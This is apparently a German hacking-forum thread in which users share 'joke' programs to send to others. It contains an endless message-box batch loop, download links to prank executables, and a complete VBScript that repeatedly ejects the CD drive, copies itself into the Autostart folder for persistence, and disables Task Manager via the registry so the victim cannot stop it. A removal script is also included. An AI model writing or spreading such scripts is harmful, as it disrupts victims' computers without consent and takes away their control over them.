@echo off
:noob
msg * man soll keine dateien mit komischen endungen annehmen!!!11
goto noob
in editor schreiben und als kacke.bat speichern
Druckbare Version
@echo off
:noob
msg * man soll keine dateien mit komischen endungen annehmen!!!11
goto noob
in editor schreiben und als kacke.bat speichern
Ohje^^ Geb bei google "Scherzprogramm" ein, aber saugen auf eigene Gefahr.
http://www.free-hack.com/showthread.php?t=6451
hoffe das der dl noch aktiv ist :P
naja kann man schöne sachen mit machen und gut für faule Menschen!
Upload : Rapidshare sry^^ ich bin jung und brauche das geld XD
Wie wärs mit sowas ?
http://img3.imagebanana.com/img/zaqtmdv/Unbenannt.jpg
Download:
http://rapidshare.com/files/188916477/Icq_hack_fake.exe
ist Clean habs selbst gecoded wenn du wünsche hast melde dich ...
Das Programm mach folgendes :
Öffnet einfach immer ein Fenster wo man Ok drücken muss ....
Das geht ne weile und dann ist es fertig
Bei dem Close button ist das das gleiche ..
schließen über Task Manager ...
das ist ja mal richtig geiL :D :D :D
Hier das hab ich eben fix gemacht:
http://rapidshare.com/files/188992063/Get_Me_.exe
-Ist ein kleines fenster wo man schliesen muss, aber es verschwindet jedes mal woanderst hin wenn man mit der maus hingeht.
hey cool danke habe auch ein paar bei 3dl.am gefunden xD
hier kopiere mal folgenden code in den editor und speicher es unter "VollGeil.vbs"^^
das programm lässt das laufwerk die ganze zeit auf und zu gehen, deaktiviert den taskmanager (das programm kann also nicht beendet werden) und wenn man den PC neu startet kommt es erneut^^
sub laufwerk
set mp = WScript.CreateObject("WMPlayer.OCX")
mp.cdromcollection.item(0).eject
WScript.Sleep 2500
mp.cdromcollection.item(0).eject
end sub
dim wshshell, username
set wshshell = wscript.createobject("wscript.shell")
set objShell = createobject("wscript.shell")
set fso = createobject("Scripting.filesystemobject")
'Pfad des Skriptes
name = WScript.ScriptName
pfad = fso.getAbsolutePathName(name)
username = wshshell.environment("process") ("username")
'EXISTENZPRÜFUNG
set fs = CreateObject("Scripting.FileSystemObject")
if fs.fileExists("C:\Dokumente und Einstellungen\"&username&"\Startmenü\Programme\Au tostart\Wels.vbs") then
do
laufwerk
loop
else
objShell.Run "xcopy """ & pfad & """ ""C:\Dokumente und Einstellungen\"&username&"\Startmenü\Programme\Au tostart"""
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr", "1", "REG_DWORD"
do
laufwerk
loop
end if
ach ja und wenn du das alles wieder weg haben möchtest benutze diesesn code:
dim wshshell, username
Set WshShell = Wscript.CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
username = wshshell.environment("process") ("username")
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Po licies\System\DisableTaskMgr", "0", "REG_DWORD"
pc = "localhost"
programm = "'Wels.exe'"
Set wmi = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" _
& pc & "\root\cimv2")
Set col = wmi.ExecQuery _
("Select * from Win32_Process Where Name = " & programm )
For Each obj in col
obj.Terminate()
Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set f1 = fso.GetFile("C:\Dokumente und Einstellungen\"&username&"\Startmenü\Programme\Au tostart\Wels.vbs")
f1.Delete
viel spaß ;)^^
Sind ein paar geile Programme dabei aber das coolste ist das von Kaspersky :D
Habs gleich mal ein einen Freund geschickt xD